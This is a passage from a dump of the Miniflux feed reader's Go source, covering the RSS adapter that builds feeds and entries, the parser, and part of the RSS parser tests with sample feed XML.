    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage rss // import \"miniflux.app/v2/internal/reader/rss\"\n\nimport (\n\t\"html\"\n\t\"log/slog\"\n\t\"path\"\n\t\"slices\"\n\t\"strconv\"\n\t\"strings\"\n\t\"time\"\n\n\t\"miniflux.app/v2/internal/crypto\"\n\t\"miniflux.app/v2/internal/model\"\n\t\"miniflux.app/v2/internal/reader/date\"\n\t\"miniflux.app/v2/internal/reader/sanitizer\"\n\t\"miniflux.app/v2/internal/urllib\"\n)\n\ntype rssAdapter struct {\n\trss *rss\n}\n\nfunc (r *rssAdapter) buildFeed(baseURL string) *model.Feed {\n\tfeed := &model.Feed{\n\t\tTitle:       html.UnescapeString(strings.TrimSpace(r.rss.Channel.Title)),\n\t\tFeedURL:     strings.TrimSpace(baseURL),\n\t\tSiteURL:     strings.TrimSpace(r.rss.Channel.Link),\n\t\tDescription: strings.TrimSpace(r.rss.Channel.Description),\n\t}\n\n\t// Ensure the Site URL is absolute.\n\tif absoluteSiteURL, err := urllib.ResolveToAbsoluteURL(baseURL, feed.SiteURL); err == nil {\n\t\tfeed.SiteURL = absoluteSiteURL\n\t}\n\n\t// Try to find the feed URL from the Atom links.\n\tfor _, atomLink := range r.rss.Channel.Links {\n\t\tatomLinkHref := strings.TrimSpace(atomLink.Href)\n\t\tif atomLinkHref != \"\" && atomLink.Rel == \"self\" {\n\t\t\tif absoluteFeedURL, err := urllib.ResolveToAbsoluteURL(feed.FeedURL, atomLinkHref); err == nil {\n\t\t\t\tfeed.FeedURL = absoluteFeedURL\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t}\n\n\t// Fallback to the site URL if the title is empty.\n\tif feed.Title == \"\" {\n\t\tfeed.Title = feed.SiteURL\n\t}\n\n\t// Get TTL if defined.\n\tif r.rss.Channel.TTL != \"\" {\n\t\tif ttl, err := strconv.Atoi(r.rss.Channel.TTL); err == nil {\n\t\t\tfeed.TTL = time.Duration(ttl) * time.Minute\n\t\t}\n\t}\n\n\t// Get the feed icon URL if defined.\n\tif r.rss.Channel.Image != nil {\n\t\tif absoluteIconURL, err := urllib.ResolveToAbsoluteURL(feed.SiteURL, r.rss.Channel.Image.URL); err == nil {\n\t\t\tfeed.IconURL = absoluteIconURL\n\t\t}\n\t}\n\n\tfor _, item := range r.rss.Channel.Items {\n\t\tentry := model.NewEntry()\n\t\tentry.Date = findEntryDate(&item)\n\t\tentry.Content = findEntryContent(&item)\n\t\tentry.Enclosures = findEntryEnclosures(&item, feed.SiteURL)\n\n\t\t// Populate the entry URL.\n\t\tentryURL := findEntryURL(&item)\n\t\tif entryURL == \"\" {\n\t\t\t// Fallback to the first enclosure URL if it exists.\n\t\t\tif len(entry.Enclosures) > 0 && entry.Enclosures[0].URL != \"\" {\n\t\t\t\tentry.URL = entry.Enclosures[0].URL\n\t\t\t} else {\n\t\t\t\t// Fallback to the feed URL if no entry URL is found.\n\t\t\t\tentry.URL = feed.SiteURL\n\t\t\t}\n\t\t} else {\n\t\t\tif absoluteEntryURL, err := urllib.ResolveToAbsoluteURL(feed.SiteURL, entryURL); err == nil {\n\t\t\t\tentry.URL = absoluteEntryURL\n\t\t\t} else {\n\t\t\t\tentry.URL = entryURL\n\t\t\t}\n\t\t}\n\n\t\t// Populate the entry title.\n\t\tentry.Title = findEntryTitle(&item)\n\t\tif entry.Title == \"\" {\n\t\t\tentry.Title = sanitizer.TruncateHTML(entry.Content, 100)\n\t\t\tif entry.Title == \"\" {\n\t\t\t\tentry.Title = entry.URL\n\t\t\t}\n\t\t}\n\n\t\tentry.Author = findEntryAuthor(&item)\n\t\tif entry.Author == \"\" {\n\t\t\tentry.Author = findFeedAuthor(&r.rss.Channel)\n\t\t}\n\n\t\t// Generate the entry hash.\n\t\tswitch {\n\t\tcase item.GUID.Data != \"\":\n\t\t\tentry.Hash = crypto.SHA256(item.GUID.Data)\n\t\tcase entryURL != \"\":\n\t\t\tentry.Hash = crypto.SHA256(entryURL)\n\t\tdefault:\n\t\t\tentry.Hash = crypto.SHA256(entry.Title + entry.Content)\n\t\t}\n\n\t\t// Find CommentsURL if defined.\n\t\tif absoluteCommentsURL := strings.TrimSpace(item.CommentsURL); absoluteCommentsURL != \"\" && urllib.IsAbsoluteURL(absoluteCommentsURL) {\n\t\t\tentry.CommentsURL = absoluteCommentsURL\n\t\t}\n\n\t\t// Set podcast listening time.\n\t\tif item.ItunesDuration != \"\" {\n\t\t\tif duration, err := getDurationInMinutes(item.ItunesDuration); err == nil {\n\t\t\t\tentry.ReadingTime = duration\n\t\t\t}\n\t\t}\n\n\t\t// Populate entry categories.\n\t\tentry.Tags = findEntryTags(&item)\n\t\tif len(entry.Tags) == 0 {\n\t\t\tentry.Tags = findFeedTags(&r.rss.Channel)\n\t\t}\n\t\t// Sort and deduplicate tags.\n\t\tslices.Sort(entry.Tags)\n\t\tentry.Tags = slices.Compact(entry.Tags)\n\n\t\tfeed.Entries = append(feed.Entries, entry)\n\t}\n\n\treturn feed\n}\n\nfunc findFeedAuthor(rssChannel *rssChannel) string {\n\tvar author string\n\tswitch {\n\tcase rssChannel.ItunesAuthor != \"\":\n\t\tauthor = rssChannel.ItunesAuthor\n\tcase rssChannel.GooglePlayAuthor != \"\":\n\t\tauthor = rssChannel.GooglePlayAuthor\n\tcase rssChannel.ItunesOwner.String() != \"\":\n\t\tauthor = rssChannel.ItunesOwner.String()\n\tcase rssChannel.ManagingEditor != \"\":\n\t\tauthor = rssChannel.ManagingEditor\n\tcase rssChannel.Webmaster != \"\":\n\t\tauthor = rssChannel.Webmaster\n\tdefault:\n\t\treturn \"\"\n\t}\n\n\treturn strings.TrimSpace(sanitizer.StripTags(author))\n}\n\nfunc findFeedTags(rssChannel *rssChannel) []string {\n\ttags := make([]string, 0)\n\n\tfor _, tag := range rssChannel.Categories {\n\t\ttag = strings.TrimSpace(tag)\n\t\tif tag != \"\" {\n\t\t\ttags = append(tags, tag)\n\t\t}\n\t}\n\n\tfor _, tag := range rssChannel.GetItunesCategories() {\n\t\ttag = strings.TrimSpace(tag)\n\t\tif tag != \"\" {\n\t\t\ttags = append(tags, tag)\n\t\t}\n\t}\n\n\tif tag := strings.TrimSpace(rssChannel.GooglePlayCategory.Text); tag != \"\" {\n\t\ttags = append(tags, tag)\n\t}\n\n\treturn tags\n}\n\nfunc findEntryTitle(rssItem *rssItem) string {\n\ttitle := rssItem.Title.Content\n\n\tif rssItem.DublinCoreTitle != \"\" {\n\t\ttitle = rssItem.DublinCoreTitle\n\t}\n\n\treturn html.UnescapeString(html.UnescapeString(strings.TrimSpace(title)))\n}\n\nfunc findEntryURL(rssItem *rssItem) string {\n\tfor _, link := range []string{rssItem.FeedBurnerLink, rssItem.Link} {\n\t\tif link != \"\" {\n\t\t\treturn strings.TrimSpace(link)\n\t\t}\n\t}\n\n\tfor _, atomLink := range rssItem.Links {\n\t\tif atomLink.Href != \"\" && (strings.EqualFold(atomLink.Rel, \"alternate\") || atomLink.Rel == \"\") {\n\t\t\treturn strings.TrimSpace(atomLink.Href)\n\t\t}\n\t}\n\n\t// Specs: https://cyber.harvard.edu/rss/rss.html#ltguidgtSubelementOfLtitemgt\n\t// isPermaLink is optional, its default value is true.\n\t// If its value is false, the guid may not be assumed to be a url, or a url to anything in particular.\n\tif rssItem.GUID.IsPermaLink == \"true\" || rssItem.GUID.IsPermaLink == \"\" {\n\t\treturn strings.TrimSpace(rssItem.GUID.Data)\n\t}\n\n\treturn \"\"\n}\n\nfunc findEntryContent(rssItem *rssItem) string {\n\tfor _, value := range []string{\n\t\trssItem.DublinCoreContent,\n\t\trssItem.Description,\n\t\trssItem.GooglePlayDescription,\n\t\trssItem.ItunesSummary,\n\t\trssItem.ItunesSubtitle,\n\t} {\n\t\tif value != \"\" {\n\t\t\treturn value\n\t\t}\n\t}\n\treturn \"\"\n}\n\nfunc findEntryDate(rssItem *rssItem) time.Time {\n\tvalue := rssItem.PubDate\n\tif rssItem.DublinCoreDate != \"\" {\n\t\tvalue = rssItem.DublinCoreDate\n\t}\n\n\tif value != \"\" {\n\t\tresult, err := date.Parse(value)\n\t\tif err != nil {\n\t\t\tslog.Debug(\"Unable to parse date from RSS feed\",\n\t\t\t\tslog.String(\"date\", value),\n\t\t\t\tslog.String(\"guid\", rssItem.GUID.Data),\n\t\t\t\tslog.Any(\"error\", err),\n\t\t\t)\n\t\t\treturn time.Now()\n\t\t}\n\n\t\treturn result\n\t}\n\n\treturn time.Now()\n}\n\nfunc findEntryAuthor(rssItem *rssItem) string {\n\tvar author string\n\n\tswitch {\n\tcase rssItem.GooglePlayAuthor != \"\":\n\t\tauthor = rssItem.GooglePlayAuthor\n\tcase rssItem.ItunesAuthor != \"\":\n\t\tauthor = rssItem.ItunesAuthor\n\tcase rssItem.DublinCoreCreator != \"\":\n\t\tauthor = rssItem.DublinCoreCreator\n\tcase rssItem.PersonName() != \"\":\n\t\tauthor = rssItem.PersonName()\n\tcase strings.Contains(rssItem.Author.Inner, \"<![CDATA[\"):\n\t\tauthor = rssItem.Author.Data\n\tcase rssItem.Author.Inner != \"\":\n\t\tauthor = rssItem.Author.Inner\n\tdefault:\n\t\treturn \"\"\n\t}\n\n\treturn strings.TrimSpace(sanitizer.StripTags(author))\n}\n\nfunc findEntryTags(rssItem *rssItem) []string {\n\ttags := make([]string, 0)\n\n\tfor _, tag := range rssItem.Categories {\n\t\ttag = strings.TrimSpace(tag)\n\t\tif tag != \"\" {\n\t\t\ttags = append(tags, tag)\n\t\t}\n\t}\n\n\tfor _, tag := range rssItem.MediaCategories.Labels() {\n\t\ttag = strings.TrimSpace(tag)\n\t\tif tag != \"\" {\n\t\t\ttags = append(tags, tag)\n\t\t}\n\t}\n\n\treturn tags\n}\n\nfunc findEntryEnclosures(rssItem *rssItem, siteURL string) model.EnclosureList {\n\tenclosures := make(model.EnclosureList, 0)\n\tduplicates := make(map[string]bool)\n\n\tfor _, mediaThumbnail := range rssItem.AllMediaThumbnails() {\n\t\tmediaURL := strings.TrimSpace(mediaThumbnail.URL)\n\t\tif mediaURL == \"\" {\n\t\t\tcontinue\n\t\t}\n\t\tif _, found := duplicates[mediaURL]; !found {\n\t\t\tif mediaAbsoluteURL, err := urllib.ResolveToAbsoluteURL(siteURL, mediaURL); err != nil {\n\t\t\t\tslog.Debug(\"Unable to build absolute URL for media thumbnail\",\n\t\t\t\t\tslog.String(\"url\", mediaThumbnail.URL),\n\t\t\t\t\tslog.String(\"site_url\", siteURL),\n\t\t\t\t\tslog.Any(\"error\", err),\n\t\t\t\t)\n\t\t\t} else {\n\t\t\t\tduplicates[mediaAbsoluteURL] = true\n\t\t\t\tenclosures = append(enclosures, &model.Enclosure{\n\t\t\t\t\tURL:      mediaAbsoluteURL,\n\t\t\t\t\tMimeType: mediaThumbnail.MimeType(),\n\t\t\t\t\tSize:     mediaThumbnail.Size(),\n\t\t\t\t})\n\t\t\t}\n\t\t}\n\t}\n\n\tfor _, enclosure := range rssItem.Enclosures {\n\t\tenclosureURL := enclosure.URL\n\n\t\tif rssItem.FeedBurnerEnclosureLink != \"\" {\n\t\t\tfilename := path.Base(rssItem.FeedBurnerEnclosureLink)\n\t\t\tif strings.HasSuffix(enclosureURL, filename) {\n\t\t\t\tenclosureURL = rssItem.FeedBurnerEnclosureLink\n\t\t\t}\n\t\t}\n\n\t\tenclosureURL = strings.TrimSpace(enclosureURL)\n\t\tif enclosureURL == \"\" {\n\t\t\tcontinue\n\t\t}\n\n\t\tif absoluteEnclosureURL, err := urllib.ResolveToAbsoluteURL(siteURL, enclosureURL); err == nil {\n\t\t\tenclosureURL = absoluteEnclosureURL\n\t\t}\n\n\t\tif _, found := duplicates[enclosureURL]; !found {\n\t\t\tduplicates[enclosureURL] = true\n\n\t\t\tenclosures = append(enclosures, &model.Enclosure{\n\t\t\t\tURL:      enclosureURL,\n\t\t\t\tMimeType: enclosure.Type,\n\t\t\t\tSize:     enclosure.Size(),\n\t\t\t})\n\t\t}\n\t}\n\n\tfor _, mediaContent := range rssItem.AllMediaContents() {\n\t\tmediaURL := strings.TrimSpace(mediaContent.URL)\n\t\tif mediaURL == \"\" {\n\t\t\tcontinue\n\t\t}\n\t\tif _, found := duplicates[mediaURL]; !found {\n\t\t\tmediaURL := strings.TrimSpace(mediaContent.URL)\n\t\t\tif mediaAbsoluteURL, err := urllib.ResolveToAbsoluteURL(siteURL, mediaURL); err != nil {\n\t\t\t\tslog.Debug(\"Unable to build absolute URL for media content\",\n\t\t\t\t\tslog.String(\"url\", mediaContent.URL),\n\t\t\t\t\tslog.String(\"site_url\", siteURL),\n\t\t\t\t\tslog.Any(\"error\", err),\n\t\t\t\t)\n\t\t\t} else {\n\t\t\t\tduplicates[mediaAbsoluteURL] = true\n\t\t\t\tenclosures = append(enclosures, &model.Enclosure{\n\t\t\t\t\tURL:      mediaAbsoluteURL,\n\t\t\t\t\tMimeType: mediaContent.MimeType(),\n\t\t\t\t\tSize:     mediaContent.Size(),\n\t\t\t\t})\n\t\t\t}\n\t\t}\n\t}\n\n\tfor _, mediaPeerLink := range rssItem.AllMediaPeerLinks() {\n\t\tmediaURL := strings.TrimSpace(mediaPeerLink.URL)\n\t\tif mediaURL == \"\" {\n\t\t\tcontinue\n\t\t}\n\t\tif _, found := duplicates[mediaURL]; !found {\n\t\t\tmediaURL := strings.TrimSpace(mediaPeerLink.URL)\n\t\t\tif mediaAbsoluteURL, err := urllib.ResolveToAbsoluteURL(siteURL, mediaURL); err != nil {\n\t\t\t\tslog.Debug(\"Unable to build absolute URL for media peer link\",\n\t\t\t\t\tslog.String(\"url\", mediaPeerLink.URL),\n\t\t\t\t\tslog.String(\"site_url\", siteURL),\n\t\t\t\t\tslog.Any(\"error\", err),\n\t\t\t\t)\n\t\t\t} else {\n\t\t\t\tduplicates[mediaAbsoluteURL] = true\n\t\t\t\tenclosures = append(enclosures, &model.Enclosure{\n\t\t\t\t\tURL:      mediaAbsoluteURL,\n\t\t\t\t\tMimeType: mediaPeerLink.MimeType(),\n\t\t\t\t\tSize:     mediaPeerLink.Size(),\n\t\t\t\t})\n\t\t\t}\n\t\t}\n\t}\n\n\treturn enclosures\n}\n"
  },
  {
    "path": "internal/reader/rss/atom.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage rss // import \"miniflux.app/v2/internal/reader/rss\"\n\nimport (\n\t\"miniflux.app/v2/internal/reader/atom\"\n)\n\ntype atomAuthor struct {\n\tAuthor atom.AtomPerson `xml:\"http://www.w3.org/2005/Atom author\"`\n}\n\nfunc (a *atomAuthor) PersonName() string {\n\treturn a.Author.PersonName()\n}\n\ntype atomLinks struct {\n\tLinks []*atom.AtomLink `xml:\"http://www.w3.org/2005/Atom link\"`\n}\n"
  },
  {
    "path": "internal/reader/rss/feedburner.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage rss // import \"miniflux.app/v2/internal/reader/rss\"\n\n// feedBurnerItemElement represents FeedBurner XML elements.\ntype feedBurnerItemElement struct {\n\tFeedBurnerLink          string `xml:\"http://rssnamespace.org/feedburner/ext/1.0 origLink\"`\n\tFeedBurnerEnclosureLink string `xml:\"http://rssnamespace.org/feedburner/ext/1.0 origEnclosureLink\"`\n}\n"
  },
  {
    "path": "internal/reader/rss/parser.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage rss // import \"miniflux.app/v2/internal/reader/rss\"\n\nimport (\n\t\"fmt\"\n\t\"io\"\n\n\t\"miniflux.app/v2/internal/model\"\n\t\"miniflux.app/v2/internal/reader/xml\"\n)\n\n// Parse returns a normalized feed struct from a RSS feed.\nfunc Parse(baseURL string, data io.ReadSeeker) (*model.Feed, error) {\n\trssFeed := new(rss)\n\tdecoder := xml.NewXMLDecoder(data)\n\tdecoder.DefaultSpace = \"rss\"\n\tif err := decoder.Decode(rssFeed); err != nil {\n\t\treturn nil, fmt.Errorf(\"rss: unable to parse feed: %w\", err)\n\t}\n\tadapter := &rssAdapter{rssFeed}\n\treturn adapter.buildFeed(baseURL), nil\n}\n"
  },
  {
    "path": "internal/reader/rss/parser_test.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage rss // import \"miniflux.app/v2/internal/reader/rss\"\n\nimport (\n\t\"bytes\"\n\t\"testing\"\n\t\"time\"\n)\n\nfunc TestParseRss2Sample(t *testing.T) {\n\tdata := `\n\t\t<?xml version=\"1.0\"?>\n\t\t<rss version=\"2.0\">\n\t\t<channel>\n\t\t\t<title>Liftoff News</title>\n\t\t\t<link>http://liftoff.msfc.nasa.gov/</link>\n\t\t\t<description>Liftoff to Space Exploration.</description>\n\t\t\t<image>\n\t\t\t\t<url>http://liftoff.msfc.nasa.gov/HomePageXtra/MeatBall.gif</url>\n\t\t\t\t<title>NASA</title>\n\t\t\t\t<link>http://liftoff.msfc.nasa.gov/</link>\n\t\t\t</image>\n\t\t\t<language>en-us</language>\n\t\t\t<pubDate>Tue, 10 Jun 2003 04:00:00 GMT</pubDate>\n\t\t\t<lastBuildDate>Tue, 10 Jun 2003 09:41:01 GMT</lastBuildDate>\n\t\t\t<docs>http://blogs.law.harvard.edu/tech/rss</docs>\n\t\t\t<generator>Weblog Editor 2.0</generator>\n\t\t\t<managingEditor>editor@example.com</managingEditor>\n\t\t\t<webMaster>webmaster@example.com</webMaster>\n\t\t\t<item>\n\t\t\t\t<title>Star City</title>\n\t\t\t\t<link>http://liftoff.msfc.nasa.gov/news/2003/news-starcity.asp</link>\n\t\t\t\t<description>How do Americans get ready to work with Russians aboard the International Space Station? They take a crash course in culture, language and protocol at Russia's &lt;a href=\"http://howe.iki.rssi.ru/GCTC/gctc_e.htm\"&gt;Star City&lt;/a&gt;.</description>\n\t\t\t\t<pubDate>Tue, 03 Jun 2003 09:39:21 GMT</pubDate>\n\t\t\t\t<guid>http://liftoff.msfc.nasa.gov/2003/06/03.html#item573</guid>\n\t\t\t</item>\n\t\t\t<item>\n\t\t\t\t<description>Sky watchers in Europe, Asia, and parts of Alaska and Canada will experience a &lt;a href=\"http://science.nasa.gov/headlines/y2003/30may_solareclipse.htm\"&gt;partial eclipse of the Sun&lt;/a&gt; on Saturday, May 31st.</description>\n\t\t\t\t<pubDate>Fri, 30 May 2003 11:06:42 GMT</pubDate>\n\t\t\t\t<guid>http://liftoff.msfc.nasa.gov/2003/05/30.html#item572</guid>\n\t\t\t</item>\n\t\t\t<item>\n\t\t\t\t<title>The Engine That Does More</title>\n\t\t\t\t<link>http://liftoff.msfc.nasa.gov/news/2003/news-VASIMR.asp</link>\n\t\t\t\t<description>Before man travels to Mars, NASA hopes to design new engines that will let us fly through the Solar System more quickly.  The proposed VASIMR engine would do that.</description>\n\t\t\t\t<pubDate>Tue, 27 May 2003 08:37:32 GMT</pubDate>\n\t\t\t\t<guid>http://liftoff.msfc.nasa.gov/2003/05/27.html#item571</guid>\n\t\t\t</item>\n\t\t\t<item>\n\t\t\t\t<title>Astronauts' Dirty Laundry</title>\n\t\t\t\t<link>http://liftoff.msfc.nasa.gov/news/2003/news-laundry.asp</link>\n\t\t\t\t<description>Compared to earlier spacecraft, the International Space Station has many luxuries, but laundry facilities are not one of them.  Instead, astronauts have other options.</description>\n\t\t\t\t<pubDate>Tue, 20 May 2003 08:56:02 GMT</pubDate>\n\t\t\t\t<guid>http://liftoff.msfc.nasa.gov/2003/05/20.html#item570</guid>\n\t\t\t</item>\n\t\t</channel>\n\t\t</rss>`\n\n\tfeed, err := Parse(\"http://liftoff.msfc.nasa.gov/rss.xml\", bytes.NewReader([]byte(data)))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif feed.Title != \"Liftoff News\" {\n\t\tt.Errorf(\"Incorrect title, got: %s\", feed.Title)\n\t}\n\n\tif feed.Description != \"Liftoff to Space Exploration.\" {\n\t\tt.Errorf(\"Incorrect description, got: %s\", feed.Description)\n\t}\n\n\tif feed.FeedURL != \"http://liftoff.msfc.nasa.gov/rss.xml\" {\n\t\tt.Errorf(\"Incorrect feed URL, got: %s\", feed.FeedURL)\n\t}\n\n\tif feed.SiteURL != \"http://liftoff.msfc.nasa.gov/\" {\n\t\tt.Errorf(\"Incorrect site URL, got: %s\", feed.SiteURL)\n\t}\n\n\tif feed.IconURL != \"http://liftoff.msfc.nasa.gov/HomePageXtra/MeatBall.gif\" {\n\t\tt.Errorf(\"Incorrect image URL, got: %s\", feed.IconURL)\n\t}\n\n\tif len(feed.Entries) != 4 {\n\t\tt.Errorf(\"Incorrect number of entries, got: %d\", len(feed.Entries))\n\t}\n\n\texpectedDate := time.Date(2003, time.June, 3, 9, 39, 21, 0, time.UTC)\n\tif !feed.Entries[0].Date.Equal(expectedDate) {\n\t\tt.Errorf(\"Incorrect entry date, got: %v, want: %v\", feed.Entries[0].Date, expectedDate)\n\t}\n\n\tif feed.Entries[0].Hash != \"5b2b4ac2fe1786ddf0fd2da2f1b07f64e691264f41f2db3ea360f31bb6d9152b\" {\n\t\tt.Errorf(\"Incorrect entry hash, got: %s\", feed.Entries[0].Hash)\n\t}\n\n\tif feed.Entries[0].URL != \"http://liftoff.msfc.nasa.gov/news/2003/news-starcity.asp\" {\n\t\tt.Errorf(\"Incorrect entry URL, got: %s\", feed.Entries[0].URL)\n\t}\n\n\tif feed.Entries[0].Title != \"Star City\" {\n\t\tt.Errorf(\"Incorrect entry title, got: %s\", feed.Entries[0].Title)\n\t}\n\n\tif feed.Entries[0].Content != `How do Americans get ready to work with Russians aboard the International Space Station? They take a crash course in culture, language and protocol at Russia's <a href=\"http://howe.iki.rssi.ru/GCTC/gctc_e.htm\">Star City</a>.` {\n\t\tt.Errorf(\"Incorrect entry content, got: %s\", feed.Entries[0].Content)\n\t}\n\n\tif feed.Entries[1].URL != \"http://liftoff.msfc.nasa.gov/2003/05/30.html#item572\" {\n\t\tt.Errorf(\"Incorrect entry URL, got: %s\", feed.Entries[1].URL)\n\t}\n}\n\nfunc TestParseFeedWithFeedURLWithTrailingSpace(t *testing.T) {\n\tdata := `<?xml version=\"1.0\"?>\n\t\t<rss version=\"2.0\" xmlns:atom=\"http://www.w3.org/2005/Atom\">\n\t\t<channel>\n\t\t\t<title>Example</title>\n\t\t\t<link>https://example.org/</link>\n\t\t\t<atom:link href=\"https://example.org/rss \" type=\"application/rss+xml\" rel=\"self\"></atom:link>\n\t\t\t<item>\n\t\t\t\t<title>Test</title>\n\t\t\t\t<link>https://example.org/item</link>\n\t\t\t</item>\n\t\t</channel>\n\t\t</rss>`\n\n\tfeed, err := Parse(\"https://example.org/ \", bytes.NewReader([]byte(data)))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif feed.FeedURL != \"https://example.org/rss\" {\n\t\tt.Errorf(\"Incorrect feed URL, got: %s\", feed.FeedURL)\n\t}\n}\n\nfunc TestParseFeedWithRelativeFeedURL(t *testing.T) {\n\tdata := `<?xml version=\"1.0\"?>\n\t\t<rss version=\"2.0\" xmlns:atom=\"http://www.w3.org/2005/Atom\">\n\t\t<channel>\n\t\t\t<title>Example</title>\n\t\t\t<link>https://example.org/</link>\n\t\t\t<atom:link href=\"/rss\" type=\"application/rss+xml\" rel=\"self\"></atom:link>\n\t\t\t<item>\n\t\t\t\t<title>Test</title>\n\t\t\t\t<link>https://example.org/item</link>\n\t\t\t</item>\n\t\t</channel>\n\t\t</rss>`\n\n\tfeed, err := Parse(\"https://example.org/\", bytes.NewReader([]byte(data)))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif feed.FeedURL != \"https://example.org/rss\" {\n\t\tt.Errorf(\"Incorrect feed URL, got: %s\", feed.FeedURL)\n\t}\n}\n\nfunc TestParseFeedSiteURLWithTrailingSpace(t *testing.T) {\n\tdata := `<?xml version=\"1.0\"?>\n\t\t<rss version=\"2.0\">\n\t\t<channel>\n\t\t\t<title>Example</title>\n\t\t\t<link>https://example.org/ </link>\n\t\t\t<item>\n\t\t\t\t<title>Test</title>\n\t\t\t\t<link>https://example.org/item</link>\n\t\t\t</item>\n\t\t</channel>\n\t\t</rss>`\n\n\tfeed, err := Parse(\"https://example.org/\", bytes.NewReader([]byte(data)))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif feed.SiteURL != \"https://example.org/\" {\n\t\tt.Errorf(\"Incorrect site URL, got: %s\", feed.SiteURL)\n\t}\n}\n\nfunc TestParseFeedWithRelativeSiteURL(t *testing.T) {\n\tdata := `<?xml version=\"1.0\"?>\n\t\t<rss version=\"2.0\">\n\t\t<channel>\n\t\t\t<title>Example</title>\n\t\t\t<link>/example </link>\n\t\t\t<item>\n\t\t\t\t<title>Test</title>\n\t\t\t\t<link>https://example.org/item</link>\n\t\t\t</item>\n\t\t</channel>\n\t\t</rss>`\n\n\tfeed, err := Parse(\"https://example.org/\", bytes.NewReader([]byte(data)))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif feed.SiteURL != \"https://example.org/example\" {\n\t\tt.Errorf(\"Incorrect site URL, got: %s\", feed.SiteURL)\n\t}\n}\n\nfunc TestParseFeedWithoutTitle(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t\t<rss version=\"2.0\">\n\t\t<channel>\n\t\t\t<link>https://example.org/</link>\n\t\t</channel>\n\t\t</rss>`\n\n\tfeed, err := Parse(\"https://example.org/\", bytes.NewReader([]byte(data)))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif feed.Title != \"https://example.org/\" {\n\t\tt.Errorf(\"Incorrect feed title, got: %s\", feed.Title)\n\t}\n}\n\nfunc TestParseEntryWithoutTitleAndDescription(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t\t<rss version=\"2.0\">\n\t\t<channel>\n\t\t\t<link>https://example.org/</link>\n\t\t\t<item>\n\t\t\t\t<link>https://example.org/item</link>\n\t\t\t</item>\n\t\t</channel>\n\t\t</rss>`\n\n\tfeed, err := Parse(\"https://example.org/\", bytes.NewReader([]byte(data)))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif feed.Description != \"\" {\n\t\tt.Errorf(\"Expected empty feed description, got: %s\", feed.Description)\n\t}\n\n\tif len(feed.Entries) != 1 {\n\t\tt.Errorf(\"Expected 1 entry, got: %d\", len(feed.Entries))\n\t}\n\n\tif feed.Entries[0].Title != \"https://example.org/item\" {\n\t\tt.Errorf(\"Incorrect entry title, got: %s\", feed.Entries[0].Title)\n\t}\n}\n\nfunc TestParseEntryWithoutTitleButWithDescription(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t\t<rss version=\"2.0\">\n\t\t<channel>\n\t\t\t<link>https://example.org/</link>\n\t\t\t<item>\n\t\t\t\t<link>https://example.org/item</link>\n\t\t\t\t<description>\n\t\t\t\t\tThis is the description\n\t\t\t\t</description>\n\t\t\t</item>\n\t\t</channel>\n\t\t</rss>`\n\n\tfeed, err := Parse(\"https://example.org/\", bytes.NewReader([]byte(data)))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif feed.Entries[0].Title != \"This is the description\" {\n\t\tt.Errorf(\"Incorrect entry title, got: %s\", feed.Entries[0].Title)\n\t}\n}\n\nfunc TestParseEntryWithMediaTitle(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t\t<rss version=\"2.0\" xmlns:media=\"http://search.yahoo.com/mrss/\">\n\t\t<channel>\n\t\t\t<link>https://example.org/</link>\n\t\t\t<item>\n\t\t\t\t<title>Entry Title</title>\n\t\t\t\t<link>https://example.org/item</link>\n\t\t\t\t<media:title>Media Title</media:title>\n\t\t\t</item>\n\t\t</channel>\n\t\t</rss>`\n\n\tfeed, err := Parse(\"https://example.org/\", bytes.NewReader([]byte(data)))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif feed.Entries[0].Title != \"Entry Title\" {\n\t\tt.Errorf(\"Incorrect entry title, got: %q\", feed.Entries[0].Title)\n\t}\n}\n\nfunc TestParseEntryWithDCTitleOnly(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t\t<rss version=\"2.0\" xmlns:media=\"http://search.yahoo.com/mrss/\" xmlns:dc=\"http://purl.org/dc/elements/1.1/\">\n\t\t<channel>\n\t\t\t<link>https://example.org/</link>\n\t\t\t<item>\n\t\t\t\t<dc:title>Entry Title</dc:title>\n\t\t\t\t<link>https://example.org/item</link>\n\t\t\t</item>\n\t\t</channel>\n\t\t</rss>`\n\n\tfeed, err := Parse(\"https://example.org/\", bytes.NewReader([]byte(data)))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif feed.Entries[0].Title != \"Entry Title\" {\n\t\tt.Errorf(\"Incorrect entry title, got: %q\", feed.Entries[0].Title)\n\t}\n}\n\nfunc TestParseFeedTitleWithHTMLEntity(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t\t<rss version=\"2.0\" xmlns:slash=\"http://purl.org/rss/1.0/modules/slash/\">\n\t\t<channel>\n\t\t\t<link>https://example.org/</link>\n\t\t\t<title>Example &nbsp; Feed</title>\n\t\t</channel>\n\t\t</rss>`\n\n\tfeed, err := Parse(\"https://example.org/\", bytes.NewReader([]byte(data)))\n\tif err != nil 